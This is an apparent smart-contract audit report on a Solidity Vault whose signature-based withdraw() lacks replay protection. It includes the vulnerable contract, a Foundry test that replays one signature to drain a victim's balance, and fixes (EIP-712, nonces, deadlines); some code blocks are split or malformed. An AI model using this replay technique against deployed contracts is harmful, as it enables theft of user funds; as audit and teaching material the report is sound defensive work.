

Security Audit Report: Vault Protocol

ProjectVault Protocol

Repository<https://github.com/molalign8468/30day-security-sprint>

Commit Hash.....21c60af33b8c4ce0b76f2576010234889ec33369

Audit DateJune 02 , 2026

Auditor Molalign Getahun

Executive Summary

Status: **HIGH SEVERITY**

The Vault contract contains High-severity vulnerability due to the `withdraw()` function relies on ECDSA signature verification but does not implement replay protection mechanisms such as nonces, signature invalidation, expiration timestamps, or withdrawal-specific message binding. As a result, a valid signature can be reused multiple times by any caller to repeatedly withdraw funds from a victim's balance.

The contract is unsafe for mainnet deployment in its current state. Immediate remediation is required before any production use.

Severity	Count	Status
Critical	0	-
High	1	Unresolved
Medium	0	-
Low	0	-
Informational	0	-

Scope & Methodology

Scope

File	Type	Logic
Day2_Signature_replay_attack.sol	Smart Contract	withdraw(),deposit() and recoverSigner() logic

Methodology:

- ✓ Manual code review
- ✓ Threat modeling
- ✓ Pattern analysis (SWC-121: Missing Protection against Signature Replay Attacks)
- ✓ Foundry-based exploit testing

Severity Rating

Severity	Description
Critical	Full fund loss or protocol takeover
High	Significant fund risk
Medium	Logic or trust issues
Low	Minor risk

Informational	Best practices
---------------	----------------

Findings Summary

ID	Severity	Title
HIGH-01	HIGH	Signature Replay Attack

Detailed Findings

[HIGH-01] Signature Replay Attack

Severity: High

Location: Day2_Signature_replay_attack.sol:L5–L30

Reference: [SWC-121 - Smart Contract Weakness Classification \(SWC\)](#)

Description

The contract authorizes withdrawals using an off-chain signature recovered through ecrecover.

However, the signed message is not tied to:

- Withdrawal amount
- Recipient address
- Nonce
- Expiration time
- Contract address
- Chain identifier

Additionally, the contract does not track previously used signatures or message hashes.

Consequently, once a valid signature becomes known, it can be submitted repeatedly to execute multiple withdrawals.

Because the withdrawn funds are transferred to msg.sender, any party possessing the signature can continuously drain funds from the owner's balance until it is exhausted.

Impact

- ✓ **Total Fund Loss:** An attacker can continuously replay a valid signature until the victim's deposited balance is completely drained.
- ✓ **Repeated Fund Extraction:** Due to the absence of replay protection, the same signature can be submitted multiple times to repeatedly withdraw funds.

- ✓ **Unauthorized Withdrawals:** An attacker can use a valid signature belonging to another user to execute withdrawals without possessing the user's private key.

Risk Evaluation

- ✓ **Impact:** *High*. An attacker can reuse a valid signature to repeatedly withdraw funds from a user's balance until it is drained.
- ✓ **Likelihood:** *High*. Signatures are exposed on-chain or can leak off-chain, making replay attacks easy to perform..
- ✓ **Overall Severity:** *High*.

Proof of Concept

Vulnerable Contract

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Vault {
    mapping(address => uint256) public balances;

    function deposit() payable external {
        balances[msg.sender] += msg.value;
    }

    function withdraw(address owner,uint256 amount,bytes32 messageHash,bytes memory signature) external {
        require(recoverSigner(messageHash,signature)==owner,"Invalid signature");
        balances[owner] -= amount;
        (bool ok,) = payable(msg.sender).call{value:amount}("");
        require(ok);
    }

    function recoverSigner(bytes32 hash,bytes memory sig) public pure returns(address){
        bytes32 r;
        bytes32 s;
        uint8 v;
        assembly{
            r := mload(add(sig, 32))
            s := mload(add(sig, 64))
            v := byte(0, mload(add(sig, 96)))
        }
        return ecrecover(hash, v, r, s);
    }
}
```

```
}
```

Exploit Test

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test} from "forge-std/Test.sol";
import {Vault} from "../../src/Week2/Day2_Signature_replay_attack.sol";

interface IVault {
    function deposit() payable external;
    function withdraw(uint256 amount,bytes32 messageHash,bytes memory signature) external;
}

contract VaultReplayAttackTest is Test{
    Vault vault;
    uint256 userPrivateKey = 123;
    address user;
    address attacker;

    function setUp() external{
        vault = new Vault();
        user = vm.addr(userPrivateKey);
        attacker = vm.addr(1);
        vm.deal(user, 10 ether);

        vm.prank(user);
        vault.deposit{value:10 ether}();
    }

    function testReplayAttack() public {
        bytes32 digest = keccak256(abi.encodePacked("withdraw"));
        (uint8 v,bytes32 r, bytes32 s) = vm.sign(userPrivateKey, digest);

        bytes memory signature = abi.encodePacked(r,s,v);

        vm.prank(user);
        vault.withdraw(user,1 ether, digest, signature);
    }
}
```

```

vm.startPrank(attacker);
vault.withdraw(user,1 ether, digest, signature);
vault.withdraw(user,1 ether, digest, signature);
vault.withdraw(user,1 ether, digest, signature);
vault.withdraw(user,1 ether, digest, signature);
vault.withdraw(user,1 ether, digest, signature);
vm.stopPrank();

assertEq(address(vault).balance, 4 ether);
assertEq(attacker.balance, 5 ether);

}
}

```

Recommendations

- ✓ **Use EIP-712:-** Adopt EIP-712 typed structured signatures instead of raw message hashes to provide domain separation and prevent signature reuse across context
- ✓ **Introduce Nonces:-** Maintain a nonce per user and require each signature to include the current nonce.

```
✓ mapping(address => uint256) public nonces;
```

- ✓ **Bind Signatures to Withdrawal Parameters:-** Include all critical values within the signed message

```

keccak256(
    abi.encode( owner,
    recipient,
    amount,
    nonce,
    deadline,
    address(this),
    block.chainid )
);

```

- ✓ **Add Expiration Timestamps:** Prevent old signatures from remaining valid indefinitely.

```
✓ require(block.timestamp <= deadline);
```

Conclusion

Deployment should not proceed until the issue is fixed and the contract is re-audited.